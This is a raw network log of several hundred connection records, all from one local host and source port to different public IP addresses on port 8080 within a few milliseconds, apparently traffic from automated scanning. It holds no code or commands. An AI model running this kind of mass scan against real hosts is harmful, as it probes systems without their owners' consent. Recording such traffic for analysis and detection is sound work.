Feb 19, 2025 19:43:16.241556883 CET	26802	8080	192.168.2.13	62.89.222.168
Feb 19, 2025 19:43:16.241561890 CET	26802	8080	192.168.2.13	95.158.212.214
Feb 19, 2025 19:43:16.241565943 CET	26802	8080	192.168.2.13	95.122.43.3
Feb 19, 2025 19:43:16.241578102 CET	26802	8080	192.168.2.13	94.160.205.45
Feb 19, 2025 19:43:16.241585970 CET	26802	8080	192.168.2.13	94.45.128.196
Feb 19, 2025 19:43:16.241591930 CET	26802	8080	192.168.2.13	94.232.133.151
Feb 19, 2025 19:43:16.241602898 CET	26802	8080	192.168.2.13	62.192.92.72
Feb 19, 2025 19:43:16.241611004 CET	26802	8080	192.168.2.13	31.25.48.67
Feb 19, 2025 19:43:16.241615057 CET	26802	8080	192.168.2.13	62.48.28.244
Feb 19, 2025 19:43:16.241616011 CET	26802	8080	192.168.2.13	85.193.100.149
Feb 19, 2025 19:43:16.241630077 CET	26802	8080	192.168.2.13	95.224.208.186
Feb 19, 2025 19:43:16.241635084 CET	26802	8080	192.168.2.13	94.199.41.138
Feb 19, 2025 19:43:16.241647959 CET	26802	8080	192.168.2.13	62.197.182.250
Feb 19, 2025 19:43:16.241652966 CET	26802	8080	192.168.2.13	31.29.112.167
Feb 19, 2025 19:43:16.241667032 CET	26802	8080	192.168.2.13	94.242.137.194
Feb 19, 2025 19:43:16.241667032 CET	26802	8080	192.168.2.13	31.3.127.126
Feb 19, 2025 19:43:16.241684914 CET	26802	8080	192.168.2.13	62.133.58.114
Feb 19, 2025 19:43:16.241684914 CET	26802	8080	192.168.2.13	85.144.248.120
Feb 19, 2025 19:43:16.241692066 CET	26802	8080	192.168.2.13	62.123.247.86
Feb 19, 2025 19:43:16.241699934 CET	26802	8080	192.168.2.13	95.176.118.201
Feb 19, 2025 19:43:16.241708040 CET	26802	8080	192.168.2.13	95.191.76.192
Feb 19, 2025 19:43:16.241720915 CET	26802	8080	192.168.2.13	62.168.98.115
Feb 19, 2025 19:43:16.241739035 CET	26802	8080	192.168.2.13	94.199.209.165
Feb 19, 2025 19:43:16.241740942 CET	26802	8080	192.168.2.13	31.103.79.189
Feb 19, 2025 19:43:16.241744041 CET	26802	8080	192.168.2.13	62.55.110.191
Feb 19, 2025 19:43:16.241754055 CET	26802	8080	192.168.2.13	85.235.103.6
Feb 19, 2025 19:43:16.241767883 CET	26802	8080	192.168.2.13	85.140.94.108
Feb 19, 2025 19:43:16.241767883 CET	26802	8080	192.168.2.13	85.3.40.140
Feb 19, 2025 19:43:16.241775990 CET	26802	8080	192.168.2.13	62.107.149.57
Feb 19, 2025 19:43:16.241786003 CET	26802	8080	192.168.2.13	94.131.46.16
Feb 19, 2025 19:43:16.241796017 CET	26802	8080	192.168.2.13	31.66.58.195
Feb 19, 2025 19:43:16.241801977 CET	26802	8080	192.168.2.13	85.35.81.228
Feb 19, 2025 19:43:16.241816044 CET	26802	8080	192.168.2.13	95.220.108.242
Feb 19, 2025 19:43:16.241820097 CET	26802	8080	192.168.2.13	31.35.169.97
Feb 19, 2025 19:43:16.241826057 CET	26802	8080	192.168.2.13	85.106.158.175
Feb 19, 2025 19:43:16.241827011 CET	26802	8080	192.168.2.13	94.119.231.128
Feb 19, 2025 19:43:16.241838932 CET	26802	8080	192.168.2.13	94.195.4.181
Feb 19, 2025 19:43:16.241846085 CET	26802	8080	192.168.2.13	31.28.219.0
Feb 19, 2025 19:43:16.241856098 CET	26802	8080	192.168.2.13	31.210.36.46
Feb 19, 2025 19:43:16.241858959 CET	26802	8080	192.168.2.13	62.137.248.232
Feb 19, 2025 19:43:16.241868973 CET	26802	8080	192.168.2.13	94.235.195.85
Feb 19, 2025 19:43:16.241869926 CET	26802	8080	192.168.2.13	85.177.71.152
Feb 19, 2025 19:43:16.241878033 CET	26802	8080	192.168.2.13	95.72.126.35
Feb 19, 2025 19:43:16.241889954 CET	26802	8080	192.168.2.13	94.199.116.111
Feb 19, 2025 19:43:16.241889954 CET	26802	8080	192.168.2.13	94.229.161.66
Feb 19, 2025 19:43:16.241909027 CET	26802	8080	192.168.2.13	95.161.93.84
Feb 19, 2025 19:43:16.241910934 CET	26802	8080	192.168.2.13	31.47.233.182
Feb 19, 2025 19:43:16.241924047 CET	26802	8080	192.168.2.13	62.144.22.98
Feb 19, 2025 19:43:16.241925955 CET	26802	8080	192.168.2.13	31.132.143.93
Feb 19, 2025 19:43:16.241941929 CET	26802	8080	192.168.2.13	94.63.3.180
Feb 19, 2025 19:43:16.241941929 CET	26802	8080	192.168.2.13	62.7.244.28
Feb 19, 2025 19:43:16.241961956 CET	26802	8080	192.168.2.13	94.244.52.234
Feb 19, 2025 19:43:16.241970062 CET	26802	8080	192.168.2.13	85.90.11.146
Feb 19, 2025 19:43:16.241972923 CET	26802	8080	192.168.2.13	62.42.224.151
Feb 19, 2025 19:43:16.241980076 CET	26802	8080	192.168.2.13	95.73.123.132
Feb 19, 2025 19:43:16.241988897 CET	26802	8080	192.168.2.13	94.17.100.14
Feb 19, 2025 19:43:16.241988897 CET	26802	8080	192.168.2.13	31.240.122.61
Feb 19, 2025 19:43:16.241998911 CET	26802	8080	192.168.2.13	85.50.2.242
Feb 19, 2025 19:43:16.242007971 CET	26802	8080	192.168.2.13	62.243.171.239
Feb 19, 2025 19:43:16.242012024 CET	26802	8080	192.168.2.13	94.172.164.202
Feb 19, 2025 19:43:16.242029905 CET	26802	8080	192.168.2.13	85.208.12.183
Feb 19, 2025 19:43:16.242036104 CET	26802	8080	192.168.2.13	95.84.251.241
Feb 19, 2025 19:43:16.242044926 CET	26802	8080	192.168.2.13	94.216.99.240
Feb 19, 2025 19:43:16.242057085 CET	26802	8080	192.168.2.13	85.67.27.1
Feb 19, 2025 19:43:16.242067099 CET	26802	8080	192.168.2.13	95.75.59.46
Feb 19, 2025 19:43:16.242072105 CET	26802	8080	192.168.2.13	62.49.184.231
Feb 19, 2025 19:43:16.242074966 CET	26802	8080	192.168.2.13	85.65.252.102
Feb 19, 2025 19:43:16.242089033 CET	26802	8080	192.168.2.13	95.67.159.55
Feb 19, 2025 19:43:16.242091894 CET	26802	8080	192.168.2.13	62.169.3.216
Feb 19, 2025 19:43:16.242095947 CET	26802	8080	192.168.2.13	85.137.219.104
Feb 19, 2025 19:43:16.242110968 CET	26802	8080	192.168.2.13	62.218.156.98
Feb 19, 2025 19:43:16.242120981 CET	26802	8080	192.168.2.13	94.104.202.219
Feb 19, 2025 19:43:16.242126942 CET	26802	8080	192.168.2.13	85.226.4.119
Feb 19, 2025 19:43:16.242132902 CET	26802	8080	192.168.2.13	85.254.84.204
Feb 19, 2025 19:43:16.242144108 CET	26802	8080	192.168.2.13	94.252.239.35
Feb 19, 2025 19:43:16.242149115 CET	26802	8080	192.168.2.13	62.34.31.203
Feb 19, 2025 19:43:16.242156982 CET	26802	8080	192.168.2.13	31.233.243.173
Feb 19, 2025 19:43:16.242166042 CET	26802	8080	192.168.2.13	94.65.241.189
Feb 19, 2025 19:43:16.242176056 CET	26802	8080	192.168.2.13	85.15.98.47
Feb 19, 2025 19:43:16.242180109 CET	26802	8080	192.168.2.13	62.184.96.30
Feb 19, 2025 19:43:16.242192030 CET	26802	8080	192.168.2.13	31.167.99.140
Feb 19, 2025 19:43:16.242197990 CET	26802	8080	192.168.2.13	31.143.130.72
Feb 19, 2025 19:43:16.242203951 CET	26802	8080	192.168.2.13	85.8.127.77
Feb 19, 2025 19:43:16.242213964 CET	26802	8080	192.168.2.13	62.36.254.186
Feb 19, 2025 19:43:16.242223024 CET	26802	8080	192.168.2.13	62.184.246.112
Feb 19, 2025 19:43:16.242223024 CET	26802	8080	192.168.2.13	85.131.163.235
Feb 19, 2025 19:43:16.242233992 CET	26802	8080	192.168.2.13	62.20.132.206
Feb 19, 2025 19:43:16.242242098 CET	26802	8080	192.168.2.13	95.177.240.182
Feb 19, 2025 19:43:16.242255926 CET	26802	8080	192.168.2.13	95.81.155.20
Feb 19, 2025 19:43:16.242257118 CET	26802	8080	192.168.2.13	31.165.11.91
Feb 19, 2025 19:43:16.242269039 CET	26802	8080	192.168.2.13	85.210.4.242
Feb 19, 2025 19:43:16.242279053 CET	26802	8080	192.168.2.13	95.71.16.185
Feb 19, 2025 19:43:16.242280006 CET	26802	8080	192.168.2.13	85.164.199.134
Feb 19, 2025 19:43:16.242290020 CET	26802	8080	192.168.2.13	62.89.52.70
Feb 19, 2025 19:43:16.242295980 CET	26802	8080	192.168.2.13	95.20.205.198
Feb 19, 2025 19:43:16.242307901 CET	26802	8080	192.168.2.13	95.102.7.232
Feb 19, 2025 19:43:16.242310047 CET	26802	8080	192.168.2.13	31.218.211.2
Feb 19, 2025 19:43:16.242317915 CET	26802	8080	192.168.2.13	85.60.4.11
Feb 19, 2025 19:43:16.242330074 CET	26802	8080	192.168.2.13	95.247.20.67
Feb 19, 2025 19:43:16.242330074 CET	26802	8080	192.168.2.13	95.205.69.6
Feb 19, 2025 19:43:16.242340088 CET	26802	8080	192.168.2.13	95.43.96.11
Feb 19, 2025 19:43:16.242350101 CET	26802	8080	192.168.2.13	85.31.201.102
Feb 19, 2025 19:43:16.242357016 CET	26802	8080	192.168.2.13	94.118.151.101
Feb 19, 2025 19:43:16.242362022 CET	26802	8080	192.168.2.13	94.185.127.208
Feb 19, 2025 19:43:16.242377996 CET	26802	8080	192.168.2.13	95.66.204.136
Feb 19, 2025 19:43:16.242379904 CET	26802	8080	192.168.2.13	62.86.138.108
Feb 19, 2025 19:43:16.242388964 CET	26802	8080	192.168.2.13	95.146.186.92
Feb 19, 2025 19:43:16.242396116 CET	26802	8080	192.168.2.13	31.208.169.139
Feb 19, 2025 19:43:16.242409945 CET	26802	8080	192.168.2.13	95.185.5.196
Feb 19, 2025 19:43:16.242412090 CET	26802	8080	192.168.2.13	95.56.139.242
Feb 19, 2025 19:43:16.242425919 CET	26802	8080	192.168.2.13	94.185.188.75
Feb 19, 2025 19:43:16.242425919 CET	26802	8080	192.168.2.13	94.166.75.253
Feb 19, 2025 19:43:16.242434025 CET	26802	8080	192.168.2.13	94.217.187.36
Feb 19, 2025 19:43:16.242441893 CET	26802	8080	192.168.2.13	85.200.117.196
Feb 19, 2025 19:43:16.242448092 CET	26802	8080	192.168.2.13	31.220.202.44
Feb 19, 2025 19:43:16.242461920 CET	26802	8080	192.168.2.13	62.229.177.238
Feb 19, 2025 19:43:16.242469072 CET	26802	8080	192.168.2.13	95.198.15.82
Feb 19, 2025 19:43:16.242476940 CET	26802	8080	192.168.2.13	94.171.47.196
Feb 19, 2025 19:43:16.242489100 CET	26802	8080	192.168.2.13	31.6.220.11
Feb 19, 2025 19:43:16.242492914 CET	26802	8080	192.168.2.13	95.55.68.177
Feb 19, 2025 19:43:16.242503881 CET	26802	8080	192.168.2.13	95.245.205.52
Feb 19, 2025 19:43:16.242511988 CET	26802	8080	192.168.2.13	62.227.161.200
Feb 19, 2025 19:43:16.242522955 CET	26802	8080	192.168.2.13	31.109.61.2
Feb 19, 2025 19:43:16.242535114 CET	26802	8080	192.168.2.13	95.44.208.185
Feb 19, 2025 19:43:16.242542982 CET	26802	8080	192.168.2.13	31.151.14.172
Feb 19, 2025 19:43:16.242549896 CET	26802	8080	192.168.2.13	31.54.197.94
Feb 19, 2025 19:43:16.242552996 CET	26802	8080	192.168.2.13	62.179.233.157
Feb 19, 2025 19:43:16.242559910 CET	26802	8080	192.168.2.13	62.5.26.225
Feb 19, 2025 19:43:16.242573977 CET	26802	8080	192.168.2.13	31.30.20.106
Feb 19, 2025 19:43:16.242573977 CET	26802	8080	192.168.2.13	85.72.188.39
Feb 19, 2025 19:43:16.242584944 CET	26802	8080	192.168.2.13	31.149.172.213
Feb 19, 2025 19:43:16.242584944 CET	26802	8080	192.168.2.13	94.128.169.253
Feb 19, 2025 19:43:16.242598057 CET	26802	8080	192.168.2.13	95.47.166.134
Feb 19, 2025 19:43:16.242605925 CET	26802	8080	192.168.2.13	31.62.46.140
Feb 19, 2025 19:43:16.242611885 CET	26802	8080	192.168.2.13	31.95.228.159
Feb 19, 2025 19:43:16.242623091 CET	26802	8080	192.168.2.13	95.11.92.111
Feb 19, 2025 19:43:16.242625952 CET	26802	8080	192.168.2.13	94.196.236.156
Feb 19, 2025 19:43:16.242635965 CET	26802	8080	192.168.2.13	62.6.161.48
Feb 19, 2025 19:43:16.242650032 CET	26802	8080	192.168.2.13	31.174.214.55
Feb 19, 2025 19:43:16.242654085 CET	26802	8080	192.168.2.13	95.64.156.94
Feb 19, 2025 19:43:16.242654085 CET	26802	8080	192.168.2.13	85.141.190.58
Feb 19, 2025 19:43:16.242672920 CET	26802	8080	192.168.2.13	85.92.84.234
Feb 19, 2025 19:43:16.242679119 CET	26802	8080	192.168.2.13	62.203.41.91
Feb 19, 2025 19:43:16.242690086 CET	26802	8080	192.168.2.13	62.76.5.71
Feb 19, 2025 19:43:16.242696047 CET	26802	8080	192.168.2.13	85.186.234.154
Feb 19, 2025 19:43:16.242705107 CET	26802	8080	192.168.2.13	95.207.116.24
Feb 19, 2025 19:43:16.242722034 CET	26802	8080	192.168.2.13	94.148.57.42
Feb 19, 2025 19:43:16.242726088 CET	26802	8080	192.168.2.13	85.124.233.184
Feb 19, 2025 19:43:16.242758989 CET	26802	8080	192.168.2.13	95.141.15.87
Feb 19, 2025 19:43:16.242765903 CET	26802	8080	192.168.2.13	31.228.12.170
Feb 19, 2025 19:43:16.242767096 CET	26802	8080	192.168.2.13	95.9.139.126
Feb 19, 2025 19:43:16.242789030 CET	26802	8080	192.168.2.13	95.101.35.73
Feb 19, 2025 19:43:16.242799997 CET	26802	8080	192.168.2.13	94.94.162.54
Feb 19, 2025 19:43:16.242806911 CET	26802	8080	192.168.2.13	94.92.67.255
Feb 19, 2025 19:43:16.242818117 CET	26802	8080	192.168.2.13	62.73.246.153
Feb 19, 2025 19:43:16.242831945 CET	26802	8080	192.168.2.13	85.131.140.102
Feb 19, 2025 19:43:16.242839098 CET	26802	8080	192.168.2.13	94.157.169.215
Feb 19, 2025 19:43:16.242841959 CET	26802	8080	192.168.2.13	31.194.30.46
Feb 19, 2025 19:43:16.242850065 CET	26802	8080	192.168.2.13	94.228.232.219
Feb 19, 2025 19:43:16.242860079 CET	26802	8080	192.168.2.13	31.40.255.167
Feb 19, 2025 19:43:16.242867947 CET	26802	8080	192.168.2.13	95.202.246.194
Feb 19, 2025 19:43:16.242878914 CET	26802	8080	192.168.2.13	85.43.7.119
Feb 19, 2025 19:43:16.242887974 CET	26802	8080	192.168.2.13	85.248.87.90
Feb 19, 2025 19:43:16.242897034 CET	26802	8080	192.168.2.13	95.160.180.16
Feb 19, 2025 19:43:16.242904902 CET	26802	8080	192.168.2.13	85.154.137.238
Feb 19, 2025 19:43:16.242916107 CET	26802	8080	192.168.2.13	85.230.34.48
Feb 19, 2025 19:43:16.242921114 CET	26802	8080	192.168.2.13	62.142.146.100
Feb 19, 2025 19:43:16.242929935 CET	26802	8080	192.168.2.13	85.28.71.100
Feb 19, 2025 19:43:16.242935896 CET	26802	8080	192.168.2.13	94.164.85.43
Feb 19, 2025 19:43:16.242944002 CET	26802	8080	192.168.2.13	94.223.36.124
Feb 19, 2025 19:43:16.242949963 CET	26802	8080	192.168.2.13	94.68.191.77
Feb 19, 2025 19:43:16.242955923 CET	26802	8080	192.168.2.13	62.79.71.51
Feb 19, 2025 19:43:16.242966890 CET	26802	8080	192.168.2.13	94.90.42.62
Feb 19, 2025 19:43:16.242975950 CET	26802	8080	192.168.2.13	62.163.177.102
Feb 19, 2025 19:43:16.242985964 CET	26802	8080	192.168.2.13	31.15.187.185
Feb 19, 2025 19:43:16.242994070 CET	26802	8080	192.168.2.13	62.117.154.45
Feb 19, 2025 19:43:16.242999077 CET	26802	8080	192.168.2.13	85.77.66.216
Feb 19, 2025 19:43:16.243014097 CET	26802	8080	192.168.2.13	85.120.168.21
Feb 19, 2025 19:43:16.243020058 CET	26802	8080	192.168.2.13	31.101.228.80
Feb 19, 2025 19:43:16.243020058 CET	26802	8080	192.168.2.13	85.170.109.22
Feb 19, 2025 19:43:16.243029118 CET	26802	8080	192.168.2.13	62.206.102.171
Feb 19, 2025 19:43:16.243037939 CET	26802	8080	192.168.2.13	94.23.121.46
Feb 19, 2025 19:43:16.243047953 CET	26802	8080	192.168.2.13	94.134.28.229
Feb 19, 2025 19:43:16.243057966 CET	26802	8080	192.168.2.13	95.210.61.176
Feb 19, 2025 19:43:16.243058920 CET	26802	8080	192.168.2.13	95.221.75.102
Feb 19, 2025 19:43:16.243069887 CET	26802	8080	192.168.2.13	62.100.210.170
Feb 19, 2025 19:43:16.243079901 CET	26802	8080	192.168.2.13	31.179.160.243
Feb 19, 2025 19:43:16.243089914 CET	26802	8080	192.168.2.13	95.171.156.25
Feb 19, 2025 19:43:16.243100882 CET	26802	8080	192.168.2.13	62.142.217.204
Feb 19, 2025 19:43:16.243108034 CET	26802	8080	192.168.2.13	94.174.15.31
Feb 19, 2025 19:43:16.243113995 CET	26802	8080	192.168.2.13	31.17.191.35
Feb 19, 2025 19:43:16.243120909 CET	26802	8080	192.168.2.13	62.113.124.113
Feb 19, 2025 19:43:16.243133068 CET	26802	8080	192.168.2.13	85.243.63.65
Feb 19, 2025 19:43:16.243140936 CET	26802	8080	192.168.2.13	95.255.140.189
Feb 19, 2025 19:43:16.243149042 CET	26802	8080	192.168.2.13	94.141.190.249
Feb 19, 2025 19:43:16.243155956 CET	26802	8080	192.168.2.13	95.82.176.68
Feb 19, 2025 19:43:16.243165970 CET	26802	8080	192.168.2.13	31.100.80.193
Feb 19, 2025 19:43:16.243168116 CET	26802	8080	192.168.2.13	62.7.186.7
Feb 19, 2025 19:43:16.243175983 CET	26802	8080	192.168.2.13	94.28.58.83
Feb 19, 2025 19:43:16.243175983 CET	26802	8080	192.168.2.13	31.5.186.172
Feb 19, 2025 19:43:16.243187904 CET	26802	8080	192.168.2.13	85.190.168.113
Feb 19, 2025 19:43:16.243195057 CET	26802	8080	192.168.2.13	94.237.213.5
Feb 19, 2025 19:43:16.243204117 CET	26802	8080	192.168.2.13	94.130.67.123
Feb 19, 2025 19:43:16.243225098 CET	26802	8080	192.168.2.13	95.10.123.88
Feb 19, 2025 19:43:16.243230104 CET	26802	8080	192.168.2.13	62.30.228.92
Feb 19, 2025 19:43:16.243233919 CET	26802	8080	192.168.2.13	94.6.31.212
Feb 19, 2025 19:43:16.243247032 CET	26802	8080	192.168.2.13	85.197.188.236
Feb 19, 2025 19:43:16.243247032 CET	26802	8080	192.168.2.13	85.221.195.53
Feb 19, 2025 19:43:16.243259907 CET	26802	8080	192.168.2.13	85.204.226.44
Feb 19, 2025 19:43:16.243273020 CET	26802	8080	192.168.2.13	62.233.208.250
Feb 19, 2025 19:43:16.243280888 CET	26802	8080	192.168.2.13	95.137.102.208
Feb 19, 2025 19:43:16.243290901 CET	26802	8080	192.168.2.13	95.237.121.100
Feb 19, 2025 19:43:16.243302107 CET	26802	8080	192.168.2.13	31.95.11.59
Feb 19, 2025 19:43:16.243304014 CET	26802	8080	192.168.2.13	95.97.140.142
Feb 19, 2025 19:43:16.243318081 CET	26802	8080	192.168.2.13	62.8.6.183
Feb 19, 2025 19:43:16.243333101 CET	26802	8080	192.168.2.13	31.198.194.207
Feb 19, 2025 19:43:16.243333101 CET	26802	8080	192.168.2.13	31.38.80.45
Feb 19, 2025 19:43:16.243338108 CET	26802	8080	192.168.2.13	85.45.82.170
Feb 19, 2025 19:43:16.243347883 CET	26802	8080	192.168.2.13	31.167.4.57
Feb 19, 2025 19:43:16.243365049 CET	26802	8080	192.168.2.13	94.39.250.162
Feb 19, 2025 19:43:16.243367910 CET	26802	8080	192.168.2.13	85.144.63.58
Feb 19, 2025 19:43:16.243376017 CET	26802	8080	192.168.2.13	85.248.205.220
Feb 19, 2025 19:43:16.243383884 CET	26802	8080	192.168.2.13	62.120.50.128
Feb 19, 2025 19:43:16.243391037 CET	26802	8080	192.168.2.13	94.194.4.30
Feb 19, 2025 19:43:16.243398905 CET	26802	8080	192.168.2.13	85.136.37.124
Feb 19, 2025 19:43:16.243408918 CET	26802	8080	192.168.2.13	85.239.117.109
Feb 19, 2025 19:43:16.243408918 CET	26802	8080	192.168.2.13	62.69.53.146
Feb 19, 2025 19:43:16.243417978 CET	26802	8080	192.168.2.13	31.78.137.122
Feb 19, 2025 19:43:16.243432045 CET	26802	8080	192.168.2.13	94.221.179.174
Feb 19, 2025 19:43:16.243432999 CET	26802	8080	192.168.2.13	62.167.152.143
Feb 19, 2025 19:43:16.243444920 CET	26802	8080	192.168.2.13	62.103.97.49
Feb 19, 2025 19:43:16.243453979 CET	26802	8080	192.168.2.13	62.239.66.56
Feb 19, 2025 19:43:16.243454933 CET	26802	8080	192.168.2.13	95.34.255.242
Feb 19, 2025 19:43:16.243463039 CET	26802	8080	192.168.2.13	31.248.144.61
Feb 19, 2025 19:43:16.243473053 CET	26802	8080	192.168.2.13	31.29.168.53
Feb 19, 2025 19:43:16.243484020 CET	26802	8080	192.168.2.13	62.62.233.252
Feb 19, 2025 19:43:16.243496895 CET	26802	8080	192.168.2.13	31.209.134.109
Feb 19, 2025 19:43:16.243516922 CET	26802	8080	192.168.2.13	62.185.184.172
Feb 19, 2025 19:43:16.243529081 CET	26802	8080	192.168.2.13	94.13.234.252
Feb 19, 2025 19:43:16.243541956 CET	26802	8080	192.168.2.13	95.136.241.159
Feb 19, 2025 19:43:16.243546963 CET	26802	8080	192.168.2.13	85.114.95.194
Feb 19, 2025 19:43:16.243558884 CET	26802	8080	192.168.2.13	94.146.133.57
Feb 19, 2025 19:43:16.243565083 CET	26802	8080	192.168.2.13	62.53.171.8
Feb 19, 2025 19:43:16.243573904 CET	26802	8080	192.168.2.13	95.185.151.221
Feb 19, 2025 19:43:16.243573904 CET	26802	8080	192.168.2.13	85.213.13.3
Feb 19, 2025 19:43:16.243588924 CET	26802	8080	192.168.2.13	95.114.175.15
Feb 19, 2025 19:43:16.243588924 CET	26802	8080	192.168.2.13	94.198.234.145
Feb 19, 2025 19:43:16.243603945 CET	26802	8080	192.168.2.13	95.86.168.188
Feb 19, 2025 19:43:16.243618011 CET	26802	8080	192.168.2.13	31.101.177.24
Feb 19, 2025 19:43:16.243629932 CET	26802	8080	192.168.2.13	31.166.245.169
Feb 19, 2025 19:43:16.243637085 CET	26802	8080	192.168.2.13	94.160.247.84
Feb 19, 2025 19:43:16.243645906 CET	26802	8080	192.168.2.13	62.148.168.220
Feb 19, 2025 19:43:16.243660927 CET	26802	8080	192.168.2.13	95.234.84.138
Feb 19, 2025 19:43:16.243666887 CET	26802	8080	192.168.2.13	62.230.175.192
Feb 19, 2025 19:43:16.243674040 CET	26802	8080	192.168.2.13	62.216.109.236
Feb 19, 2025 19:43:16.243679047 CET	26802	8080	192.168.2.13	94.144.97.147
Feb 19, 2025 19:43:16.243685007 CET	26802	8080	192.168.2.13	94.209.156.213
Feb 19, 2025 19:43:16.243693113 CET	26802	8080	192.168.2.13	31.41.99.90
Feb 19, 2025 19:43:16.243693113 CET	26802	8080	192.168.2.13	85.192.12.138
Feb 19, 2025 19:43:16.243702888 CET	26802	8080	192.168.2.13	31.8.87.237
Feb 19, 2025 19:43:16.243716002 CET	26802	8080	192.168.2.13	94.95.254.164
Feb 19, 2025 19:43:16.243717909 CET	26802	8080	192.168.2.13	94.233.188.158
Feb 19, 2025 19:43:16.243729115 CET	26802	8080	192.168.2.13	95.220.171.94
Feb 19, 2025 19:43:16.243740082 CET	26802	8080	192.168.2.13	95.205.38.209
Feb 19, 2025 19:43:16.243742943 CET	26802	8080	192.168.2.13	85.170.128.199
Feb 19, 2025 19:43:16.243752003 CET	26802	8080	192.168.2.13	94.206.248.136
Feb 19, 2025 19:43:16.243758917 CET	26802	8080	192.168.2.13	85.34.226.71
Feb 19, 2025 19:43:16.243768930 CET	26802	8080	192.168.2.13	95.116.110.119
Feb 19, 2025 19:43:16.243784904 CET	26802	8080	192.168.2.13	95.206.61.20
Feb 19, 2025 19:43:16.243786097 CET	26802	8080	192.168.2.13	85.184.72.65
Feb 19, 2025 19:43:16.243796110 CET	26802	8080	192.168.2.13	31.156.95.51
Feb 19, 2025 19:43:16.243802071 CET	26802	8080	192.168.2.13	85.110.18.84
Feb 19, 2025 19:43:16.243812084 CET	26802	8080	192.168.2.13	94.2.180.13
Feb 19, 2025 19:43:16.243824005 CET	26802	8080	192.168.2.13	95.181.35.148
Feb 19, 2025 19:43:16.243833065 CET	26802	8080	192.168.2.13	95.234.242.203
Feb 19, 2025 19:43:16.243841887 CET	26802	8080	192.168.2.13	62.196.127.63
Feb 19, 2025 19:43:16.243849993 CET	26802	8080	192.168.2.13	62.97.120.93
Feb 19, 2025 19:43:16.243859053 CET	26802	8080	192.168.2.13	95.249.242.61
Feb 19, 2025 19:43:16.243859053 CET	26802	8080	192.168.2.13	62.58.218.13
Feb 19, 2025 19:43:16.243872881 CET	26802	8080	192.168.2.13	94.71.159.50
Feb 19, 2025 19:43:16.243885994 CET	26802	8080	192.168.2.13	95.77.233.187
Feb 19, 2025 19:43:16.243897915 CET	26802	8080	192.168.2.13	62.147.15.200
Feb 19, 2025 19:43:16.243899107 CET	26802	8080	192.168.2.13	95.105.43.107
Feb 19, 2025 19:43:16.243902922 CET	26802	8080	192.168.2.13	95.159.247.2
Feb 19, 2025 19:43:16.243910074 CET	26802	8080	192.168.2.13	85.50.68.93
Feb 19, 2025 19:43:16.243920088 CET	26802	8080	192.168.2.13	31.237.89.199
Feb 19, 2025 19:43:16.243928909 CET	26802	8080	192.168.2.13	94.191.25.94
Feb 19, 2025 19:43:16.243936062 CET	26802	8080	192.168.2.13	85.42.121.219
Feb 19, 2025 19:43:16.243942976 CET	26802	8080	192.168.2.13	85.222.237.203
Feb 19, 2025 19:43:16.243952990 CET	26802	8080	192.168.2.13	85.24.231.159
Feb 19, 2025 19:43:16.243966103 CET	26802	8080	192.168.2.13	62.209.57.169
Feb 19, 2025 19:43:16.243973970 CET	26802	8080	192.168.2.13	31.243.92.121
Feb 19, 2025 19:43:16.243984938 CET	26802	8080	192.168.2.13	31.254.21.15
Feb 19, 2025 19:43:16.243992090 CET	26802	8080	192.168.2.13	62.78.149.132
Feb 19, 2025 19:43:16.244003057 CET	26802	8080	192.168.2.13	94.195.185.78
Feb 19, 2025 19:43:16.244004011 CET	26802	8080	192.168.2.13	62.125.73.40
Feb 19, 2025 19:43:16.244010925 CET	26802	8080	192.168.2.13	95.233.87.129
Feb 19, 2025 19:43:16.244021893 CET	26802	8080	192.168.2.13	31.181.142.79
Feb 19, 2025 19:43:16.244021893 CET	26802	8080	192.168.2.13	31.68.155.28
Feb 19, 2025 19:43:16.244033098 CET	26802	8080	192.168.2.13	62.110.242.175
Feb 19, 2025 19:43:16.244041920 CET	26802	8080	192.168.2.13	95.248.184.124
Feb 19, 2025 19:43:16.244051933 CET	26802	8080	192.168.2.13	62.14.102.147
Feb 19, 2025 19:43:16.244054079 CET	26802	8080	192.168.2.13	85.26.178.137
Feb 19, 2025 19:43:16.244062901 CET	26802	8080	192.168.2.13	94.209.5.119
Feb 19, 2025 19:43:16.244071007 CET	26802	8080	192.168.2.13	85.235.142.227
Feb 19, 2025 19:43:16.244088888 CET	26802	8080	192.168.2.13	62.248.25.41
Feb 19, 2025 19:43:16.244092941 CET	26802	8080	192.168.2.13	62.159.103.59
Feb 19, 2025 19:43:16.244102955 CET	26802	8080	192.168.2.13	95.48.15.88
Feb 19, 2025 19:43:16.244113922 CET	26802	8080	192.168.2.13	62.34.213.51
Feb 19, 2025 19:43:16.244117022 CET	26802	8080	192.168.2.13	85.92.1.189
Feb 19, 2025 19:43:16.244123936 CET	26802	8080	192.168.2.13	95.37.16.220
Feb 19, 2025 19:43:16.244137049 CET	26802	8080	192.168.2.13	85.102.43.190
Feb 19, 2025 19:43:16.244147062 CET	26802	8080	192.168.2.13	31.20.42.1
Feb 19, 2025 19:43:16.244148016 CET	26802	8080	192.168.2.13	31.5.136.14
Feb 19, 2025 19:43:16.244157076 CET	26802	8080	192.168.2.13	94.86.121.251
Feb 19, 2025 19:43:16.244163990 CET	26802	8080	192.168.2.13	31.24.94.219
Feb 19, 2025 19:43:16.244178057 CET	26802	8080	192.168.2.13	85.12.79.113
Feb 19, 2025 19:43:16.244184017 CET	26802	8080	192.168.2.13	94.64.198.201
Feb 19, 2025 19:43:16.244189024 CET	26802	8080	192.168.2.13	95.128.105.129
Feb 19, 2025 19:43:16.244195938 CET	26802	8080	192.168.2.13	94.211.68.242
Feb 19, 2025 19:43:16.244199991 CET	26802	8080	192.168.2.13	31.109.74.198
Feb 19, 2025 19:43:16.244215965 CET	26802	8080	192.168.2.13	31.168.91.245
Feb 19, 2025 19:43:16.244218111 CET	26802	8080	192.168.2.13	85.85.82.14
Feb 19, 2025 19:43:16.244218111 CET	26802	8080	192.168.2.13	85.208.145.156
Feb 19, 2025 19:43:16.244229078 CET	26802	8080	192.168.2.13	95.65.169.183
Feb 19, 2025 19:43:16.244240999 CET	26802	8080	192.168.2.13	94.23.134.31
Feb 19, 2025 19:43:16.244250059 CET	26802	8080	192.168.2.13	31.238.152.184
Feb 19, 2025 19:43:16.244260073 CET	26802	8080	192.168.2.13	31.11.20.149
Feb 19, 2025 19:43:16.244275093 CET	26802	8080	192.168.2.13	85.32.85.147
Feb 19, 2025 19:43:16.244277954 CET	26802	8080	192.168.2.13	85.158.219.195
Feb 19, 2025 19:43:16.244282961 CET	26802	8080	192.168.2.13	94.160.103.63
Feb 19, 2025 19:43:16.244285107 CET	26802	8080	192.168.2.13	31.91.89.107
Feb 19, 2025 19:43:16.244297981 CET	26802	8080	192.168.2.13	94.171.174.139
